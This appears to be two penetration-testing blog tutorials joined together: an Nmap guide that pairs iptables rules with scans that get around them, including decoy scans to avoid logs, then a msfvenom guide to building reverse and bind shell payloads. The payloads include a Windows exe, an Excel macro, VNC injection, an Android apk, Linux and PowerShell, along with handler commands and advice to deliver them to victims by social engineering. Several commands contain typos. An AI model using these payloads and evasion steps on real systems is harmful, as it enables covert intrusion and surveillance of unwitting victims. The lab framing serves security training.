Understanding Guide to Nmap Firewall Scan (Part 1)

Hello friends, several times you might have used NMAP to performing Network scanning for enumerating active Port services of target machine but in some scenario it is not possible to perform scanning  with help of basic scan method especially in case of firewall filter.

Today we are going to demonstate “Nmap firewall scan” by making use of Iptable rules and try to bypass firewall filter to perfrom NMAP Advance scanning. 

Let’s Begin!!

Attacker’s IP: 192.168.0.107 [kali linux]

Target’s IP: 192.168.0.101 [ubuntu]

ANALYSIS TCP SCAN

Open the terminal in your kali linux and execute following command to perform TCP[sT] scan for open port enumeration.

Nmap -sT -p22 192.168.1.101

From given below image you can observe we had scanned port 22 as result it has shown Port 22 is Open for SSH service.

When you will use wireshark in order to capture the packet send in the case of TCP while network is being scanning , here you need to notice few things such as “flag,Total length and time to live[TTL]” [in layer3].

Following table contains detail of Flag, Data length and TTL in diffrent scanning method:

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Following image of wireshark is use to describe network traffic generated while nmap TCP scan is running, here 1st stream indicates SYN packet which contain following information:

Total Length: 60 [data length excluding 14 bytes of Ethernet]

Time to live: 64 [it is maximum ttl of linux system in tcp communication]

Reject SYN Flag with IPTables

As we know there is strong fight between security researcher and attacker, to increase network security admin will  apply firewall filter which will now prevent 3 way handshak communication in network and resist attacker to perfrom TCP scan by rejecting SYN packet in network.              

Execute given below command in ubuntu to block SYN packet:  

iptables -I INPUT -p tcp --tcp-flags ALL SYN -j REJECT --reject-with tcp-reset

Iptable work as firewall in linux operating system and above iptable rule will reject SYN packet to prevent TCP scan.

Now when SYN packet has been reject by firewall in target network then attacker will be unable to enumerate open port of target’s network even if service is activated.

Now when again we [attacker] had executed TCP scan then it has found Port 22 is closed as shown in given image.

Bypass SYN Filter

When attacker fail to enumerate open port using tcp scan then there are some advance scaning method used to bypass such type of firewall filter as given below :

FIN SCAN

A FIN packet is used to terminate the TCP connection between source and destination port typically after the data transfer is complete. In the place of a SYN packet, Nmap start a FIN scan by using a FIN packet.  

Fin Scan are only workable in Linux machines and does not work on latest version of windows

nmap -sF -p 22 192.168.0.101

From given image you can observe the result that port 22 is open.

When you will capture network traffic for FIN packet, you can bear out “data length” is 40 and “TTL” will be less than 64 every time moreover there is no use of SYN packet to establish TCP communication with target machine.

NULL SCAN

A Null Scan is a series of TCP packets which hold a sequence number of “zeros” (0000000) and since there are none flags set, the destination will not know how to reply the request. It will discard the packet and no reply will be sent, which indicate that port is open.

Null Scan are only workable in Linux machines and does not work on latest version of windows

nmap -sN -p 22 192.168.0.101

From given image you can observe the result that port 22 is open.

Similarly When you will capture network traffic for NULL packet, you can bear out “data length” is 40 and “TTL” will be less than 64 every time, here also there is no use of SYN packet to establish TCP communication with target machine.

XMAS SCAN

These scans are designed to manipulate the PSH, URG and FIN flags of the TCP header, Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree. When source sent FIN, PUSH, and URG packet to specific port and if port is open then destination will discard the packets and will not sent any reply to source.

Xmas Scan are only workable in Linux machines and does not work on latest version of windows

nmap -sX -p 22 192.168.0.101

From given image you can observe the result that port 22 is open.

Similarly When you will capture network traffic for xmas scan you will get combination of FIN, PSH and URG flags, here also you can bear out “data length” is 40 and “TTL” will be less than 64 every time.

Conclusion: TCP connection established by 3 way handshak and if firewall discard 3 way handshak to prevent TCP communication then FIN, NULL and XMAS scan are used forTCP connection.  

Reject  FIN Packet Using IPTABLES Rule

Again admin add a new firewall filter to Prevent Netwok enumration from Fin scan which will reject FIN packet in network.

Execute given below command in ubuntu to block FIN packet:

iptables -I INPUT -p tcp --tcp-flags ALL FIN -j REJECT --reject-with tcp-reset

Now when attacker will try to perfrom advancet scan through FIN scan then he will not able to enumerate open port information which you can confirm from given below image.

At present only Null and Xmas will helpful to perfrom port enumeration untill unless admin has not block traffic coming from these scan. From given below image you can confirm that port 22 is close when Fin scan is perfromed while open when Null and Xmas is perfromed.

To prevent you network from NULL and Xmas scan too, apply given below iptables rule for Null and Xmas respectively:

iptables -I INPUT -p tcp --tcp-flags ALL NONE -j REJECT --reject-with tcp-reset

iptables -I INPUT -p tcp --tcp-flags ALL FIN,PSH,URG -j REJECT --reject-with tcp-reset

Reject  Data-length with IPTables

As I had discussed above TCP communication based upon 3 factors i.e. “Flag” which I had demonstrated above, “TTL” which I will demonstrate later and “Data length” which I am going to demonstrate.     

So now when admin wants secure again his network from TCP scan, instead of applying firewall filter on TCP-flags he can also apply firewall rule to check “data length” of specific size and then stop the incoming network traffic for TCP connection. Execute given below command to apply firewall rule on “data length”; by default 60 is data length use for TCP scan which you can confirm from table given above.

iptables -I INPUT -p tcp -m length --length 60 -j REJECT --reject-with tcp-reset

Now when data length 60 bytes has been block by firewall in target network then attacker will be unable to enumerate open port of target even if service is activated.

Now when again we [attacker] had executed TCP scan then it has found Port 22 is closed as shown in given image.

Bypass Length Firewall Filter

Stealth Scan

When attacker fail to enumerate open port using TCP [sT] scan then there are some scanning method used to bypass such type of firewall filter as given below:

nmap -sS -p 22 192.168.0.101

From given below image you can observe port 22 is open when stealth scan[sS] is executed, this is because the data length send by stealth scan is 44 by default for TCP connection.

Stealth scan is much similar to TCP scan and also known as “half open” scanning because it send SYN packet and as response receives SYN/ACK packet from listening port and dump result without sending ACK packet to listening port. Therefore if “SYN packet” is block by firewall this scan gets failed, this scan is only applicable in case of data length = 60 is block or TTL = 64 is block by firewall.

Fragment Scan

The -f option causes the requested scan to use tiny fragmented IP packets. The idea is to split up the TCP header over several packets to make it harder for packet filters, intrusion detection systems, and other annoyances to detect what you are doing. So a 20-byte TCP header would be split into three packets, two with eight bytes of the TCP header, and one with the final four.

nmap -f -p22 192.168.0.101

When you will capture network traffic, you can bear out “data length” is 28 excluding 14 bytes of Ethernet and “TTL” will be less than 64 every time.

Similarly you use Fin, Null and Xmas scan whose data length is 40 to enumerate open port of target network.

If admin will apply firewall filter to reject data length 40,44 and 60 then it will not allow attacker to perform above all scan either basic scan or advance scan by executing following iptables rules.

iptables -I INPUT -p tcp -m length --length 60 -j REJECT --reject-with tcp-reset

iptables -I INPUT -p tcp -m length --length 44 -j REJECT --reject-with tcp-reset

iptables -I INPUT -p tcp -m length --length 40 -j REJECT --reject-with tcp-reset

From given below image you can observe now Fin, null, Xmas and sleath scan are some examples which were unable to enumerate open port of target netwok. All are showning port is close even if service is activated.

Analysis Data length Scan

When attacker is unable to enumrate open port by applying above scan then he should go with nmap “data-length scan” which will bypass above firewall filter too.

By default nmap scan has fix data length as explain above, this scan let you append the random data length of your choice.

Using following command attacker is trying enumerate open port by defining data length 12

nmap ---data-length 12 -p 22 192.168.0.101

Awesome!! From given below image you can observe port 22 is open.

So when you will use wireshark to capture network traffic generated while this scan has been executed you will get “Total length” for Tcp is 44.

Size of SSH packet is 70 bytes; now reduce 14 bytes from its of Ethernet then remains 56 byte; now reduce 12 bytes of data length which you have define at last total length will 44 bytes left.

Here, 70 bytes -14 bytes[Ethernet] = 56 bytes

Now, 56 bytes -12 bytes[data-length] = 44 bytes

Reject Length size 1 to 100

If admin is aware from nmap data-length scan then he should block a complete range of data length to prevent network scanning from attacker by executing following iptable rule.

iptables -I INPUT -p tcp -m length --length 1:100 -j REJECT --reject-with tcp-reset

Now firewall will analysis traffic coming on its network then reject the packet which contains data-length from 1 byte to 100 bytes and deny to establish TCP connections with attacker. 

Now if attacker sends data-length between 1 byte to 100 bytes the port scanning gets failed to enumerate its open state which you can confirm from given below image when data length 12 bytes and 10 bytes is sent in both scan, port 22 is closed. As soon as attacker sent data-length of 101 bytes which is more than 100 bytes, port 22 gets open.

Reject TTL size with IPTables

After applying firewall filter on “TCP flags” and “data length” to secure network from enumeration now add firewall filter for “Time To Live” i.e. TTL.

If you had notice the table given in beginning of article you will observe that only TCP Scan [sT] has TTL value equal to 64 else remaining scan has TTL value less than 64 every time, hence if admin applies firewall filter to reject TTL value 64 then it will prevent network from TCP scanning.  

Given below command will add a new firewall rule to check TTL value of 64 and reject the packet.

iptables -I INPUT -p tcp -m ttl --ttl 64 -j REJECT --reject-with tcp-reset

Now if attacker use “TCP [sT] scan” to enumerate port information, it will always show “port is closed”, else if other scan is perfromed the attacker will get accurate information related to port state. From given below image you can observe when “basic scan is execute” to enumerate port details it give “port 22 is open”.

This happen because the TTL value for “basic scan” is less than 64 and firewall of target machine will reject only TTL value equal to 64. When we had captured network traffic generated while this scan has been executed then we found TTL value is 56 used in basic scan.

Now admin has added one more step of security to prevent his network from entire type scanning by rejecting TTL value of 64 and less than 64.

iptables -I INPUT -p tcp -m ttl --ttl-lt 64 -j REJECT --reject-with tcp-reset

Now firewall will analysis the traffic coming on his network and blocks the packet contains TTL 64 or less than it.

Bravo!! Above firewall rule is more powerful than the previous rules because it has complete block NMAP “basic scan” as well as “advance scan”, if you notice given below image then you will observe that TCP [sT], Fin Scan [sF], Data-length, Sealth [sS] Scan all have been failed and showing port is closed.

Bypass TTL Firewall filter

Still there is second way to enumerate port for accurate result, by setting TTL value grather than 64. Following command will perform port scan with defined TTL value i.e. 65 which will bypass firewall filter as 65 is greater than 64.

nmap -p22 --ttl 65 192.168.0.101

So if attacker is lucky to guess rejected TTL value or firewall rule and applied correct TTL ,then only port enumeration will get successful as shown in given image port 22 is open.

Source Port Filter with IPTables

One more step to secure network from scanning is to apply firewall rule to allow traffic from a specific port only and reject traffic from remaining ports.

iptables -I INPUT -p tcp --sport 80 -j  ACCEPT

iptables -A INPUT -p tcp -j  REJECT --reject-with tcp-reset

Bypass Source Port firewall filter

Source port scan

Now again NMAP basic and advance will fail to enumerate open port state and if attacker made correct gusses again firewall filter then he can excute NMAP source port scan to enumerate port details.

The option g is used to define source port which will carry network packet to destination port.

nmap -g 80 192.168.0.101

Above command will send traffic from port 80 to perfrom scanning hence firewall will allow traffic from source port 80 and as result show state for open ports.

Set Firewall Log to capture Attacker IP

Admin can set firewall rule to create Log for IP from which traffic is coming, it will only create system logs to capture the attacker IP who is performing scanning.

iptables -I INPUT -p tcp -j LOG --log-prefix "kaliNmap" --log-level=4

Now if attacker will perform any type network scanning on targeted system then firewall will generate its log which will capture his IP.

Escape from Firewall log

Always use some kind of precaution to escape yourself while performing network scanning because in windows “honey pot” and in Linux “iptables” are firewall will make log of attacker’s IP. In such situation you are suggested to use Decoy Scan for port enumeration.

Decoy Scan

The -D option makes it look like trick scanning the target network. It does not hide your own IP, but it makes your IP one of a torrent of others supposedly scanning the victim at the same time. This not only makes the scan look scarier, but reduces the chance of you being trace from your scan (difficult to tell which system is the "real" source).

nmap -D 216.58.203.164 192.168.0.101

In above command we had use Google IP as a torrent which will reflect as attacker IP in firewall log.

tail -f /var/log/syslog

When admin will read system log then he will take higlighted IP as attacker’s IP and may apply filter on this IP to block incoming traffic from it.

Msfvenom Tutorials for Beginners

Hello friends!!

Today we will learn to create payloads from a popular tool known as metasploit, we will explore various option available within the tool to create payloads with different extensions and techniques.

Msfvenom

Msfvenom is a command line instance of Metasploit that is used to generate and output all of the various types of shell code that are available in Metasploit.

Requirements:

• Kali Linux            

• Windows Machine

• Android Phone

• Linux Machine

Abbreviations:

Lhost= (IP of Kali)

Lport= (any port you wish to assign to the listener)

P= (Payload I.e. Windows, android, PHP etc.)

F= file extension (i.e. windows=exe, android=apk etc.)

Let’s Begin!!

From the Kali terminal type command msfvenom as shown below. It will show you all available options for creating a payload but in this article we are talking about different types of payload we can generate.

Bind shell

A bind shell is the kind that opens up a new service on the target machine, and requires the attacker to connect to it in order to get a session

Now type the below “command” on your kali terminal

msfvenom -p windows/meterpreter/bind_tcp -f exe > /root/Desktop/bind.exe

It will save the “exe” payload file on your desktop as specified on the command /root/Desktop/bind.exe We need to send this file to the victim machine through file share or by any social engineering technique and have it run on the system

Now let us start msfconsole and type below command to get session of victim machine

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/bind_tcp

msf exploit(handler) > set rhost IP 192.168.0.100

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

Once the file is executed on the machine we will get the victim machine meterpreter session as show below:

The bind_tcp option is helpful in case we get disconnected from victim machine while it is still running, we can execute the same command and get back the session without any intervention of the victim to run the exploit again.

Reverse TCP Payload

A reverse shell (also known as a connect-back) is the exact opposite: it requires the attacker to set up a listener first on his box, the target machine acts as a client connecting to that listener, and then finally the attacker receives the shell.

From the Kali terminal type command msfvenom as shown below:

Now type command

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=5555 -f exe > / root/Desktop/reverse_tcp.exe.

In this case we will include few other options such as lhost (local host) and lport (local port) to get a reverse connection from the victim machine

Once the payload is generated and send to the victim for execution, we will start our next step as shown below

Now let us start msfconsole and type below command to get session of victim machine

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost IP 192.168.0.107

msf exploit(handler) > set lport 5555

msf exploit(handler) > exploit

We can confirm from the image below, once the payload is executed by the victim, we received a reverse connection and got the meterpreter session successfully.

HTTPS Payload

Note: Both the above payloads can be used in case we have relevant ports active on the victim machine, so the question arises what if the victim has blocked all the ports?

Well in such cases we can create payloads as per the ports running on victim machine such as 443 for https:

Let’s us use this case and create a payload with https   From the Kali terminal type command msfvenom as shown below:

Now type command

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.107 lport=443 -f exe > /root/Desktop/443.exe

Once the payload is generated and send to the victim for execution, we will start our next step as shown below

Now let us start msfconsole and type below command to get session of victim machine

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/bind_https

msf exploit(handler) > set lhost IP 192.168.0.107

msf exploit(handler) > set lport 443

msf exploit(handler) > exploit

We can confirm from the above image, once the payload is executed by the victim, we received a reverse connection and got the meterpreter session.

Hidden Bind TCP Payload

Let us now explore some other technique available in msfvenom Tool and try to exploit the victim machine, this time we will get the shell of the victim machine instead of meterpreter session

Let’s begin!!

This payload hides on the background silently, while executed and does not reveal its presence if scanned by any port scanner.

From the Kali terminal type command msfvenom as shown below:

msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=1010 -f exe > /root/Desktop/hidden.exe

Once the payload is generated and send to the victim for execution, we will start our next step as shown below.

We use Netcat to setup our listener.

Now from the kali Terminal let us type the command as shown above

nc 192.168.0.100 1010

Reverse Shell Payload with Netcat

Let us now do the same process and use shell_reverse_tcp payload, one more technique to get shell session of the victim

From the Kali terminal type command msfvenom as shown below:

msfvenom -p windows/shell_reverse_tcp ahost=192.168.0.107 lport=1111-f exe > /root/Desktop/ncshell.exe

Once the payload is generated and send to the victim for execution, we will start our next step as shown below

We setup our listener using netcat, the image below confirms the shell session capture by the kali machine.

Now from the kali Terminal let us type the command as shown below.

nc -lvp 1111

Macro Payload

Let us now create a payload with a Vba script, which we will use to create a macro on Excel to exploit victim machine.

Let us begin to create the payload!!

Open Kali Terminal and type command as mention below:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.107 lport=7777 -f vba

once the command is executed copy the script starting from “#if vba 7 till “End if” as highlighted in below image:

Let us now open an excel file and press alt+F11 key to open VB script, you will get the option box as shown above, enter the name you will like to provide and click on “create”.

You will get a new option box as above, click on “This workbook” and replace the values with your copied vb script payload generated by msfvenom tool and close the vb script editor and enable the macro.

Now you may draft your excel file with relevant data which may look realistic for an victim to open the file, in our case we have just inserted the value “Test”  save the file and send it to the victim.

To capture the sessions let us now start the multi handler as stated below:

Open kali Terminal and type msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set paylaod windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost=192.168.0.107

msf exploit(handler) > set lport= 7777

msf exploit(handler) > exploit

Once the excel file is opened by the victim, it will prompt the victim to enable the macro, once enabled, our vbscript will get executed to provide us with reverse connection to the victim machine as show in the below image.

VNC Payload

Will it not be great if we can take the remote of victim machine without their knowledge and observe their activity anonymously,  this payload does exactly that , let us use it to our benefit.

Let us begin to create the payload!! Open Kali Terminal and type command as mention below:

msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.0.107 lport=5900 -f exe > /root/Desktop/vnc.exe

Once the payload is generated and send to the victim for execution, we will start our next step as shown below. To capture the sessions let us now start the multi handler as stated below:

Open kali Terminal and type msfconsole

msf exploit(handler) > use exploit/multi/handler

msf exploit(handler) > set paylaod windows/vncinject/reverse_tcp

msf exploit(handler) > set lhost 192.168.0.107

msf exploit(handler) > set lport= 5900

msf exploit(handler) > exploit

We can see that reverse connection has executed the VNC injection and the victim remote machine session is established on our kali machine showing Remote Desktop.

Android Payload

Exploiting handheld devices have always been as hot topic and still continues, hence we have included it in our article as well, let us use one of the android exploit available within the msfvenom tool and use it to our benefit.

Let’s begin

Open Kali Terminal and type command as mention below:

msfvenom -p andriod/meterpreter/reverse_tcp lhost=192.168.0.107 lport=8888 > /root/Desktop/file.apk

Once the payload gets generated send it to the victim to execute on his handheld, and start multi handler as shown in below image.

msf > use exploit/multi/handler

msf exploit(handler) > set payload android/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.0.107

msf exploit(handler) > set lport 8888

msf exploit(handler) > exploit

Once the payload gets executed, you will get the meterpreter session of the handheld, which is now in your control as shown below.

Linux Payload

Open Kali Terminal and type command as mention below:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.107 lport=4444 -f elf > /root/Desktop/shell

Once the payload gets generated send it to the victim to execute on his Linux machine and start multi handler as shown in below image.

msf > use exploit/multi/handler

msf exploit(handler) > set payload inux/x86/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.0.107

msf exploit(handler) > set lhost 4444

msf exploit(handler) > run

Once the payload gets executed, it will create a reverse tcp connection on our kali machine providing us with meterpreter sessions, as shown on the image below.

Powershell Payload

Open Kali Terminal and type command as mention below:

msfvenom -p cmd/windows/reverse_powershell  lhost=192.168.0.107 lport=4444 > /root/Desktop/shell.bat

Once the payload gets generated send it to the victim to execute on his windows machine and start multi handler as shown in below image.

msf > use multi/handler

msf exploit(handler) > set payload cmd/windows/reverse_powershell

msf exploit(handler) > set lhost 192.168.0.107

msf exploit(handler) > set lport 4444

msf exploit(handler) > run

Once the payload gets executed, it will create a reverse connection to shell as shown in the image below.